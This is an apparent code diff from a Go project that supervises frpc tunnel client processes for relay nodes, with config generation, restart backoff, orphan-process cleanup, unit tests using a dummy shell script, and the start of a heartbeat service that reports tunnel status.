|
||||
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
service "Wavelet/openflare/share/protocol"
|
||||
"Wavelet/pkg/util"
|
||||
)
|
||||
|
||||
const (
|
||||
dataDirPerm = 0o750
|
||||
frpcConfigFilePerm = 0o644
|
||||
orphanProcessKillDelay = 500 * time.Millisecond
|
||||
)
|
||||
|
||||
// Manager supervises frpc processes for each active relay node.
|
||||
type Manager struct {
|
||||
cfg *config.Config
|
||||
processes map[string]*Process
|
||||
mu sync.RWMutex
|
||||
|
||||
currentVersion string
|
||||
currentChecksum string
|
||||
}
|
||||
|
||||
// Process tracks a single frpc child process and its runtime state.
|
||||
type Process struct {
|
||||
RelayID string
|
||||
Cmd *exec.Cmd
|
||||
Cancel context.CancelFunc
|
||||
Status string
|
||||
StartTime time.Time
|
||||
LastError string
|
||||
}
|
||||
|
||||
// NewManager creates a Manager using the given flared configuration.
|
||||
func NewManager(cfg *config.Config) *Manager {
|
||||
return &Manager{
|
||||
cfg: cfg,
|
||||
processes: make(map[string]*Process),
|
||||
}
|
||||
}
|
||||
|
||||
// GetVersion returns the installed frpc binary version string.
|
||||
func (m *Manager) GetVersion(ctx context.Context) string {
|
||||
cmd := exec.CommandContext(ctx, m.cfg.FrpcPath, "-v") //nolint:gosec // FrpcPath is the configured trusted frpc binary location
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
// GetConnectedRelays reports the relay nodes with active or managed frpc processes.
|
||||
func (m *Manager) GetConnectedRelays() []service.FlaredConnectedRelay {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
result := make([]service.FlaredConnectedRelay, 0, len(m.processes))
|
||||
for relayID, proc := range m.processes {
|
||||
result = append(result, service.FlaredConnectedRelay{
|
||||
RelayNodeID: relayID,
|
||||
Status: proc.Status,
|
||||
})
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// GetCurrentConfigVersion returns the version of the applied tunnel configuration.
|
||||
func (m *Manager) GetCurrentConfigVersion() string {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.currentVersion
|
||||
}
|
||||
|
||||
// GetCurrentConfigChecksum returns the checksum of the applied tunnel configuration.
|
||||
func (m *Manager) GetCurrentConfigChecksum() string {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.currentChecksum
|
||||
}
|
||||
|
||||
// UpdateConfig reconciles running frpc processes with the latest tunnel configuration.
|
||||
// The returned bool indicates whether the active config version or checksum changed.
|
||||
func (m *Manager) UpdateConfig(ctx context.Context, newConfig *service.FlaredTunnelConfigResponse) (bool, error) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if newConfig == nil {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
versionChanged := newConfig.Version != m.currentVersion || newConfig.Checksum != m.currentChecksum
|
||||
if versionChanged {
|
||||
slog.Info("applying new tunnel config", "version", newConfig.Version)
|
||||
} else {
|
||||
slog.Debug("tunnel config version unchanged, ensuring processes are running", "version", newConfig.Version)
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(m.cfg.DataDir, dataDirPerm); err != nil {
|
||||
return false, fmt.Errorf("create data dir failed: %w", err)
|
||||
}
|
||||
|
||||
activeRelays := make(map[string]struct{})
|
||||
|
||||
for _, relay := range newConfig.Relays {
|
||||
activeRelays[relay.RelayNodeID] = struct{}{}
|
||||
tomlContent := buildFrpcToml(relay, newConfig.Proxies)
|
||||
configPath := filepath.Join(m.cfg.DataDir, fmt.Sprintf("frpc_%s.toml", relay.RelayNodeID))
|
||||
|
||||
needsRestart := false
|
||||
existingData, err := os.ReadFile(configPath) //nolint:gosec // configPath is under managed DataDir
|
||||
if err != nil || string(existingData) != tomlContent {
|
||||
// 配置文件不存在或内容有变化，需要写入并重启
|
||||
needsRestart = true
|
||||
}
|
||||
|
||||
if needsRestart {
|
||||
if err := os.WriteFile(configPath, []byte(tomlContent), frpcConfigFilePerm); err != nil {
|
||||
slog.Error("failed to write frpc config", "relay_id", relay.RelayNodeID, "error", err)
|
||||
continue
|
||||
}
|
||||
m.restartProcess(ctx, relay.RelayNodeID, configPath)
|
||||
} else if _, ok := m.processes[relay.RelayNodeID]; !ok {
|
||||
// 配置未变但进程不存在（如重启后），直接启动进程
|
||||
slog.Info("frpc process missing, starting", "relay_id", relay.RelayNodeID)
|
||||
m.restartProcess(ctx, relay.RelayNodeID, configPath)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop obsolete processes
|
||||
for relayID, proc := range m.processes {
|
||||
if _, ok := activeRelays[relayID]; !ok {
|
||||
slog.Info("stopping obsolete frpc process", "relay_id", relayID)
|
||||
proc.Cancel()
|
||||
pidPath := filepath.Join(m.cfg.DataDir, fmt.Sprintf("frpc_%s.pid", relayID))
|
||||
_ = os.Remove(pidPath)
|
||||
delete(m.processes, relayID)
|
||||
}
|
||||
}
|
||||
|
||||
if versionChanged {
|
||||
m.currentVersion = newConfig.Version
|
||||
m.currentChecksum = newConfig.Checksum
|
||||
return true, m.saveState()
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (m *Manager) restartProcess(ctx context.Context, relayID string, configPath string) {
|
||||
pidPath := filepath.Join(m.cfg.DataDir, fmt.Sprintf("frpc_%s.pid", relayID))
|
||||
if proc, ok := m.processes[relayID]; ok {
|
||||
proc.Cancel()
|
||||
_ = os.Remove(pidPath)
|
||||
}
|
||||
|
||||
procCtx, cancel := context.WithCancel(context.WithoutCancel(ctx))
|
||||
proc := &Process{
|
||||
RelayID: relayID,
|
||||
Cancel: cancel,
|
||||
Status: "starting",
|
||||
StartTime: time.Now(),
|
||||
}
|
||||
m.processes[relayID] = proc
|
||||
|
||||
util.Go(func() {
|
||||
backoff := 1 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
|
||||
for {
|
||||
m.mu.Lock()
|
||||
if procCtx.Err() != nil {
|
||||
m.mu.Unlock()
|
||||
return
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
ensureNoOrphanProcess(pidPath)
|
||||
|
||||
cmd := exec.CommandContext(procCtx, m.cfg.FrpcPath, "-c", configPath) //nolint:gosec // FrpcPath and configPath are managed trusted locations
|
||||
var stderrBuf bytes.Buffer
|
||||
cmd.Stderr = &stderrBuf
|
||||
|
||||
// frpc 及其中间子进程必须整体随上下文终止：CommandContext 默认只杀
|
||||
// 直接子进程，孤儿孙进程会继续持有 stderr 管道导致 cmd.Wait 阻塞到其
|
||||
// 自然退出。这里为 frpc 单独建进程组并整组 SIGKILL。
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
|
||||
cmd.Cancel = func() error {
|
||||
if cmd.Process == nil {
|
||||
return nil
|
||||
}
|
||||
return syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
|
||||
}
|
||||
|
||||
startedAt := time.Now()
|
||||
err := cmd.Start()
|
||||
if err == nil {
|
||||
// Start 成功后才发布句柄：Start 之前 cmd.Process 尚未赋值，
|
||||
// 提前挂到 proc.Cmd 会让读者（测试/状态接口）与 Start 竞争。
|
||||
m.mu.Lock()
|
||||
proc.Cmd = cmd
|
||||
proc.Status = "running"
|
||||
m.mu.Unlock()
|
||||
_ = os.WriteFile(pidPath, fmt.Appendf(nil, "%d", cmd.Process.Pid), frpcConfigFilePerm)
|
||||
err = cmd.Wait()
|
||||
}
|
||||
_ = os.Remove(pidPath)
|
||||
|
||||
m.mu.Lock()
|
||||
if procCtx.Err() != nil {
|
||||
proc.Status = "stopped"
|
||||
m.mu.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
stderrOutput := strings.TrimSpace(stderrBuf.String())
|
||||
if err != nil {
|
||||
proc.LastError = err.Error()
|
||||
proc.Status = "error"
|
||||
if stderrOutput != "" {
|
||||
slog.Error("frpc process exited unexpectedly", "relay_id", relayID, "error", err, "stderr", stderrOutput)
|
||||
} else {
|
||||
slog.Error("frpc process exited unexpectedly", "relay_id", relayID, "error", err)
|
||||
}
|
||||
} else {
|
||||
proc.Status = "stopped"
|
||||
proc.LastError = "exited unexpectedly with code 0"
|
||||
slog.Warn("frpc process exited unexpectedly with code 0", "relay_id", relayID)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if time.Since(startedAt) >= 10*time.Second {
|
||||
backoff = 1 * time.Second
|
||||
}
|
||||
|
||||
t := time.NewTimer(backoff)
|
||||
select {
|
||||
case <-procCtx.Done():
|
||||
t.Stop()
|
||||
return
|
||||
case <-t.C:
|
||||
backoff *= 2
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
t.Stop()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Stop cancels and removes all managed frpc processes.
|
||||
func (m *Manager) Stop() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
for relayID, proc := range m.processes {
|
||||
if proc != nil && proc.Cancel != nil {
|
||||
proc.Cancel()
|
||||
}
|
||||
pidPath := filepath.Join(m.cfg.DataDir, fmt.Sprintf("frpc_%s.pid", relayID))
|
||||
_ = os.Remove(pidPath)
|
||||
delete(m.processes, relayID)
|
||||
}
|
||||
}
|
||||
|
||||
func buildFrpcToml(relay service.FlaredRelayInfo, proxies []service.FlaredProxyEntry) string {
|
||||
var buf bytes.Buffer
|
||||
|
||||
host, port := parseAddr(relay.Address)
|
||||
|
||||
fmt.Fprintf(&buf, "serverAddr = %s\nserverPort = %s\n", service.TOMLQuote(host), service.TOMLQuote(port))
|
||||
|
||||
if relay.AuthToken != "" {
|
||||
fmt.Fprintf(&buf, "auth.method = \"token\"\nauth.token = %s\n", service.TOMLQuote(relay.AuthToken))
|
||||
}
|
||||
|
||||
if relay.ProxyURL != "" {
|
||||
fmt.Fprintf(&buf, "transport.proxyURL = %s\n", service.TOMLQuote(relay.ProxyURL))
|
||||
}
|
||||
|
||||
buf.WriteString("\n")
|
||||
|
||||
for _, proxy := range proxies {
|
||||
fmt.Fprintf(&buf, "[[proxies]]\nname = %s\ntype = %s\nlocalIP = %s\nlocalPort = %d\n",
|
||||
service.TOMLQuote(proxy.Name), service.TOMLQuote(proxy.Type), service.TOMLQuote(proxy.LocalAddr), proxy.LocalPort)
|
||||
if len(proxy.CustomDomains) > 0 {
|
||||
quoted := make([]string, len(proxy.CustomDomains))
|
||||
for i := range proxy.CustomDomains {
|
||||
quoted[i] = service.TOMLQuote(proxy.CustomDomains[i])
|
||||
}
|
||||
fmt.Fprintf(&buf, "customDomains = [%s]\n", strings.Join(quoted, ", "))
|
||||
}
|
||||
buf.WriteString("\n")
|
||||
}
|
||||
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func parseAddr(addr string) (string, string) {
|
||||
addr = strings.TrimSpace(addr)
|
||||
if addr == "" {
|
||||
return "127.0.0.1", "7000"
|
||||
}
|
||||
host, port, err := net.SplitHostPort(addr)
|
||||
if err == nil {
|
||||
return strings.Trim(host, "[]"), port
|
||||
}
|
||||
lastColon := strings.LastIndex(addr, ":")
|
||||
if lastColon > 0 && strings.Count(addr, ":") == 1 {
|
||||
return addr[:lastColon], addr[lastColon+1:]
|
||||
}
|
||||
return addr, "7000"
|
||||
}
|
||||
|
||||
// ManagerState persists the last applied tunnel configuration version and checksum.
|
||||
type ManagerState struct {
|
||||
Version string
|
||||
Checksum string
|
||||
}
|
||||
|
||||
func (m *Manager) saveState() error {
|
||||
state := ManagerState{
|
||||
Version: m.currentVersion,
|
||||
Checksum: m.currentChecksum,
|
||||
}
|
||||
data, err := json.MarshalIndent(state, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(m.cfg.StatePath, data, frpcConfigFilePerm)
|
||||
}
|
||||
|
||||
// LoadState restores the last applied configuration version and checksum from disk.
|
||||
func (m *Manager) LoadState() error {
|
||||
data, err := os.ReadFile(m.cfg.StatePath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
var state ManagerState
|
||||
if err := json.Unmarshal(data, &state); err != nil {
|
||||
return err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.currentVersion = state.Version
|
||||
m.currentChecksum = state.Checksum
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func ensureNoOrphanProcess(pidPath string) {
|
||||
data, err := os.ReadFile(pidPath) //nolint:gosec // pidPath is under managed DataDir
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var pid int
|
||||
if _, err := fmt.Sscanf(string(data), "%d", &pid); err != nil {
|
||||
return
|
||||
}
|
||||
if pid <= 0 {
|
||||
return
|
||||
}
|
||||
process, err := os.FindProcess(pid)
|
||||
if err == nil && process != nil {
|
||||
err = process.Signal(syscall.Signal(0))
|
||||
if err == nil || errors.Is(err, os.ErrPermission) {
|
||||
slog.Warn("attempting to kill potentially orphan process", "pid", pid, "pid_path", pidPath)
|
||||
_ = process.Kill()
|
||||
// Wait a little bit to ensure the OS has reclaimed ports
|
||||
time.Sleep(orphanProcessKillDelay)
|
||||
}
|
||||
}
|
||||
_ = os.Remove(pidPath)
|
||||
}
|
||||
@@ -0,0 +1,415 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package frpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
service "Wavelet/openflare/share/protocol"
|
||||
)
|
||||
|
||||
// Helper to write control file for the dummy script
|
||||
func writeControl(t *testing.T, dir string, exitCode int, delaySeconds int) {
|
||||
t.Helper()
|
||||
controlPath := filepath.Join(dir, "control.txt")
|
||||
content := fmt.Sprintf("%d %d\n", exitCode, delaySeconds)
|
||||
err := os.WriteFile(controlPath, []byte(content), 0644)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to write control file: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Setup a dummy executable script that reads control.txt to decide exit code and sleep duration
|
||||
func setupDummyScript(t *testing.T) (string, string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
scriptPath := filepath.Join(dir, "dummy_frpc")
|
||||
|
||||
// On macOS/Linux, we write a shell script
|
||||
scriptContent := fmt.Sprintf(`#!/bin/sh
|
||||
control_file="%s/control.txt"
|
||||
EXIT_CODE=0
|
||||
DELAY=0
|
||||
if [ -f "$control_file" ]; then
|
||||
read -r EXIT_CODE DELAY < "$control_file"
|
||||
fi
|
||||
if [ -n "$DELAY" ] && [ "$DELAY" -gt 0 ] 2>/dev/null; then
|
||||
sleep "$DELAY"
|
||||
fi
|
||||
exit "${EXIT_CODE:-0}"
|
||||
`, dir)
|
||||
|
||||
err := os.WriteFile(scriptPath, []byte(scriptContent), 0755)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to write dummy script: %v", err)
|
||||
}
|
||||
|
||||
return scriptPath, dir
|
||||
}
|
||||
|
||||
// Helper to poll for status to eliminate timing flakiness in tests
|
||||
func assertStatusEventually(t *testing.T, m *Manager, relayID string, expectedStatus string, timeout time.Duration) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
m.mu.RLock()
|
||||
proc, ok := m.processes[relayID]
|
||||
var status string
|
||||
if ok {
|
||||
status = proc.Status
|
||||
}
|
||||
m.mu.RUnlock()
|
||||
if ok && status == expectedStatus {
|
||||
return
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
m.mu.RLock()
|
||||
proc, ok := m.processes[relayID]
|
||||
var got string
|
||||
var errStr string
|
||||
if ok {
|
||||
got = proc.Status
|
||||
errStr = proc.LastError
|
||||
} else {
|
||||
got = "not_found"
|
||||
}
|
||||
m.mu.RUnlock()
|
||||
t.Fatalf("expected status eventually %s, got %s (err: %s)", expectedStatus, got, errStr)
|
||||
}
|
||||
|
||||
// assertCommandExitedEventually 等待测试自建进程退出（本测试持有其 Wait 权）。
|
||||
func assertCommandExitedEventually(t *testing.T, cmd *exec.Cmd, timeout time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- cmd.Wait()
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-time.After(timeout):
|
||||
t.Fatalf("expected process pid=%d to exit within %s", cmd.Process.Pid, timeout)
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
|
||||
// assertManagedCommandExitedEventually 探测受管进程是否已退出。不能对其调用
|
||||
// Wait —— Wait 由 Manager 拥有，测试并发 Wait 会与 os/exec 的 ctxResult
|
||||
// 通道竞争而永久挂起；Signal(0) 在进程被 Manager 收割后即报错。
|
||||
func assertManagedCommandExitedEventually(t *testing.T, cmd *exec.Cmd, timeout time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
if err := cmd.Process.Signal(syscall.Signal(0)); err != nil {
|
||||
return
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("expected managed process pid=%d to exit within %s", cmd.Process.Pid, timeout)
|
||||
}
|
||||
|
||||
func TestStartProcessSuccess(t *testing.T) {
|
||||
scriptPath, dir := setupDummyScript(t)
|
||||
writeControl(t, dir, 0, 5) // exit code 0, sleep 5s
|
||||
|
||||
cfg := &config.Config{
|
||||
ServerURL: "http://localhost:8080",
|
||||
TunnelToken: "test-token",
|
||||
FrpcPath: scriptPath,
|
||||
DataDir: dir,
|
||||
StatePath: filepath.Join(dir, "flared-state.json"),
|
||||
}
|
||||
|
||||
m := NewManager(cfg)
|
||||
|
||||
newConfig := &service.FlaredTunnelConfigResponse{
|
||||
Version: "1",
|
||||
Checksum: "sum1",
|
||||
Relays: []service.FlaredRelayInfo{
|
||||
{
|
||||
RelayNodeID: "relay-1",
|
||||
Address: "127.0.0.1:7000",
|
||||
AuthToken: "auth-1",
|
||||
},
|
||||
},
|
||||
Proxies: nil,
|
||||
}
|
||||
|
||||
_, err := m.UpdateConfig(context.Background(), newConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to UpdateConfig: %v", err)
|
||||
}
|
||||
|
||||
assertStatusEventually(t, m, "relay-1", "running", 4*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
proc := m.processes["relay-1"]
|
||||
m.mu.RUnlock()
|
||||
|
||||
proc.Cancel()
|
||||
assertStatusEventually(t, m, "relay-1", "stopped", 4*time.Second) // wait for clean stop
|
||||
}
|
||||
|
||||
func TestStartProcessFailureAndBackoff(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
invalidScriptPath := filepath.Join(dir, "non_existent_frpc")
|
||||
|
||||
cfg := &config.Config{
|
||||
ServerURL: "http://localhost:8080",
|
||||
TunnelToken: "test-token",
|
||||
FrpcPath: invalidScriptPath,
|
||||
DataDir: dir,
|
||||
StatePath: filepath.Join(dir, "flared-state.json"),
|
||||
}
|
||||
|
||||
m := NewManager(cfg)
|
||||
newConfig := &service.FlaredTunnelConfigResponse{
|
||||
Version: "1",
|
||||
Checksum: "sum1",
|
||||
Relays: []service.FlaredRelayInfo{
|
||||
{
|
||||
RelayNodeID: "relay-1",
|
||||
Address: "127.0.0.1:7000",
|
||||
AuthToken: "auth-1",
|
||||
},
|
||||
},
|
||||
Proxies: nil,
|
||||
}
|
||||
|
||||
_, _ = m.UpdateConfig(context.Background(), newConfig)
|
||||
|
||||
assertStatusEventually(t, m, "relay-1", "error", 4*time.Second)
|
||||
|
||||
// Correct the path to dummy script
|
||||
scriptPath, _ := setupDummyScript(t)
|
||||
writeControl(t, filepath.Dir(scriptPath), 0, 5)
|
||||
|
||||
m.mu.Lock()
|
||||
m.cfg.FrpcPath = scriptPath
|
||||
m.mu.Unlock()
|
||||
|
||||
// Wait for backoff retry (1s backoff)
|
||||
assertStatusEventually(t, m, "relay-1", "running", 4*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
proc := m.processes["relay-1"]
|
||||
m.mu.RUnlock()
|
||||
proc.Cancel()
|
||||
}
|
||||
|
||||
func TestUnexpectedExit0CPUProtection(t *testing.T) {
|
||||
scriptPath, dir := setupDummyScript(t)
|
||||
// Start with immediate exit code 0
|
||||
writeControl(t, dir, 0, 0)
|
||||
|
||||
cfg := &config.Config{
|
||||
ServerURL: "http://localhost:8080",
|
||||
TunnelToken: "test-token",
|
||||
FrpcPath: scriptPath,
|
||||
DataDir: dir,
|
||||
StatePath: filepath.Join(dir, "flared-state.json"),
|
||||
}
|
||||
|
||||
m := NewManager(cfg)
|
||||
newConfig := &service.FlaredTunnelConfigResponse{
|
||||
Version: "1",
|
||||
Checksum: "sum1",
|
||||
Relays: []service.FlaredRelayInfo{
|
||||
{
|
||||
RelayNodeID: "relay-1",
|
||||
Address: "127.0.0.1:7000",
|
||||
AuthToken: "auth-1",
|
||||
},
|
||||
},
|
||||
Proxies: nil,
|
||||
}
|
||||
|
||||
_, _ = m.UpdateConfig(context.Background(), newConfig)
|
||||
|
||||
assertStatusEventually(t, m, "relay-1", "stopped", 4*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
proc := m.processes["relay-1"]
|
||||
if !strings.Contains(proc.LastError, "exited unexpectedly with code 0") {
|
||||
t.Errorf("expected LastError to record exit status 0 warning, got %s", proc.LastError)
|
||||
}
|
||||
m.mu.RUnlock()
|
||||
|
||||
proc.Cancel()
|
||||
}
|
||||
|
||||
func TestBackoffReset(t *testing.T) {
|
||||
scriptPath, dir := setupDummyScript(t)
|
||||
// Rapid exit code 1 to increase backoff
|
||||
writeControl(t, dir, 1, 0)
|
||||
|
||||
cfg := &config.Config{
|
||||
ServerURL: "http://localhost:8080",
|
||||
TunnelToken: "test-token",
|
||||
FrpcPath: scriptPath,
|
||||
DataDir: dir,
|
||||
StatePath: filepath.Join(dir, "flared-state.json"),
|
||||
}
|
||||
|
||||
m := NewManager(cfg)
|
||||
newConfig := &service.FlaredTunnelConfigResponse{
|
||||
Version: "1",
|
||||
Checksum: "sum1",
|
||||
Relays: []service.FlaredRelayInfo{
|
||||
{
|
||||
RelayNodeID: "relay-1",
|
||||
Address: "127.0.0.1:7000",
|
||||
AuthToken: "auth-1",
|
||||
},
|
||||
},
|
||||
Proxies: nil,
|
||||
}
|
||||
|
||||
_, _ = m.UpdateConfig(context.Background(), newConfig)
|
||||
|
||||
// Wait to crash
|
||||
assertStatusEventually(t, m, "relay-1", "error", 4*time.Second)
|
||||
|
||||
// Now make it run successfully for 11 seconds (exit code 0, sleep 11s)
|
||||
writeControl(t, dir, 0, 11)
|
||||
|
||||
// Wait for next retry to start running
|
||||
assertStatusEventually(t, m, "relay-1", "running", 4*time.Second)
|
||||
|
||||
// Wait for process to run for 10.5 seconds to trigger backoff reset
|
||||
time.Sleep(10500 * time.Millisecond)
|
||||
|
||||
// Now make it crash again (exit code 1, sleep 0s)
|
||||
writeControl(t, dir, 1, 0)
|
||||
|
||||
// Wait for it to finish and crash
|
||||
assertStatusEventually(t, m, "relay-1", "error", 4*time.Second)
|
||||
|
||||
// It crashed. Since it ran for > 10s, backoff should have been reset to 1s.
|
||||
// We make it healthy again (exit code 0, sleep 5)
|
||||
writeControl(t, dir, 0, 5)
|
||||
|
||||
// Wait 1.5 seconds. If backoff was reset to 1s, it should be running now.
|
||||
assertStatusEventually(t, m, "relay-1", "running", 4*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
proc := m.processes["relay-1"]
|
||||
m.mu.RUnlock()
|
||||
proc.Cancel()
|
||||
}
|
||||
|
||||
func TestUpdateConfigKillsOrphanProcessBeforeRestart(t *testing.T) {
|
||||
scriptPath, dir := setupDummyScript(t)
|
||||
writeControl(t, dir, 0, 5)
|
||||
|
||||
cfg := &config.Config{
|
||||
ServerURL: "http://localhost:8080",
|
||||
TunnelToken: "test-token",
|
||||
FrpcPath: scriptPath,
|
||||
DataDir: dir,
|
||||
StatePath: filepath.Join(dir, "flared-state.json"),
|
||||
}
|
||||
|
||||
m := NewManager(cfg)
|
||||
|
||||
orphan := exec.Command("sh", "-c", "sleep 30")
|
||||
if err := orphan.Start(); err != nil {
|
||||
t.Fatalf("failed to start orphan process: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if orphan.Process != nil {
|
||||
_ = orphan.Process.Kill()
|
||||
}
|
||||
})
|
||||
|
||||
pidPath := filepath.Join(dir, "frpc_relay-1.pid")
|
||||
if err := os.WriteFile(pidPath, []byte(fmt.Sprintf("%d", orphan.Process.Pid)), 0o644); err != nil {
|
||||
t.Fatalf("failed to seed orphan pid file: %v", err)
|
||||
}
|
||||
|
||||
newConfig := &service.FlaredTunnelConfigResponse{
|
||||
Version: "1",
|
||||
Checksum: "sum1",
|
||||
Relays: []service.FlaredRelayInfo{
|
||||
{
|
||||
RelayNodeID: "relay-1",
|
||||
Address: "127.0.0.1:7000",
|
||||
AuthToken: "auth-1",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if _, err := m.UpdateConfig(context.Background(), newConfig); err != nil {
|
||||
t.Fatalf("failed to UpdateConfig: %v", err)
|
||||
}
|
||||
|
||||
assertCommandExitedEventually(t, orphan, 2*time.Second)
|
||||
assertStatusEventually(t, m, "relay-1", "running", 4*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
proc := m.processes["relay-1"]
|
||||
m.mu.RUnlock()
|
||||
proc.Cancel()
|
||||
}
|
||||
|
||||
func TestStopCancelsRunningProcesses(t *testing.T) {
|
||||
scriptPath, dir := setupDummyScript(t)
|
||||
writeControl(t, dir, 0, 30)
|
||||
|
||||
cfg := &config.Config{
|
||||
ServerURL: "http://localhost:8080",
|
||||
TunnelToken: "test-token",
|
||||
FrpcPath: scriptPath,
|
||||
DataDir: dir,
|
||||
StatePath: filepath.Join(dir, "flared-state.json"),
|
||||
}
|
||||
|
||||
m := NewManager(cfg)
|
||||
newConfig := &service.FlaredTunnelConfigResponse{
|
||||
Version: "1",
|
||||
Checksum: "sum1",
|
||||
Relays: []service.FlaredRelayInfo{
|
||||
{
|
||||
RelayNodeID: "relay-1",
|
||||
Address: "127.0.0.1:7000",
|
||||
AuthToken: "auth-1",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if _, err := m.UpdateConfig(context.Background(), newConfig); err != nil {
|
||||
t.Fatalf("failed to UpdateConfig: %v", err)
|
||||
}
|
||||
|
||||
assertStatusEventually(t, m, "relay-1", "running", 4*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
proc := m.processes["relay-1"]
|
||||
if proc == nil || proc.Cmd == nil {
|
||||
m.mu.RUnlock()
|
||||
t.Fatal("expected running process to have a command handle")
|
||||
}
|
||||
cmd := proc.Cmd
|
||||
m.mu.RUnlock()
|
||||
|
||||
m.Stop()
|
||||
assertManagedCommandExitedEventually(t, cmd, 2*time.Second)
|
||||
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
if len(m.processes) != 0 {
|
||||
t.Fatalf("expected no managed processes after stop, got %d", len(m.processes))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package heartbeat runs the periodic flared heartbeat loop against the control plane.
|
||||
package heartbeat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
"Wavelet/openflare/plugins/flared/frpc"
|
||||
"Wavelet/openflare/plugins/flared/httpclient"
|
||||
"Wavelet/openflare/plugins/flared/updater"
|
||||
edgeheartbeat "Wavelet/openflare/share/edge/heartbeat"
|
||||
"Wavelet/openflare/share/edge/nodeip"
|
||||
service "Wavelet/openflare/share/protocol"
|
||||
)
|
||||
|
||||
// Service sends periodic heartbeat payloads and applies tunnel settings from responses.
|
||||
type Service struct {
|
||||
client *httpclient.Client
|
||||
frpcManager *frpc.Manager
|
||||
config *config.Config
|
||||
updater *updater.Service
|
||||
}
|
||||
|
||||
// New creates a heartbeat service with the given client, frpc manager, and config.
|
||||
func New(client *httpclient.Client, manager *frpc.Manager, cfg *config.Config) *Service {
|
||||
return &Service{
|
||||
client: client,
|
||||
frpcManager: manager,
|
||||
config: cfg,
|
||||
updater: updater.New(),
|
||||
}
|
||||
}
|
||||
|
||||
// Run starts the heartbeat loop until ctx is canceled.
|
||||
func (s *Service) Run(ctx context.Context) {
|
||||
edgeheartbeat.RunLoop(ctx, s.config.HeartbeatInterval.Duration(), s.doHeartbeat)
|
||||
}
|
||||
|
||||
func (s *Service) doHeartbeat(ctx context.Context) {
|
||||
slog.Debug("sending flared heartbeat")
|
||||
|
||||
payload := service.FlaredHeartbeatPayload{
|
||||
ClientVersion: config.Version,
|
||||
FrpVersion: s.frpcManager.GetVersion(ctx),
|
||||
IP: nodeip.DetectWithContext(ctx),
|
||||
TunnelStatus: "running",
|
||||
ConnectedRelays: s.frpcManager.GetConnectedRelays(),
|
||||
CurrentVersion: s.frpcManager.GetCurrentConfigVersion(),
|
||||
CurrentChecksum: s.frpcManager.GetCurrentConfigChecksum(),
|
||||
}
|
||||
|
||||
resp, err := s.client.Heartbeat(ctx, payload)
|
||||
if err != nil {
|
||||
slog.Error("flared heartbeat failed", "error", err)
|
||||
return
|
||||
}
|
||||
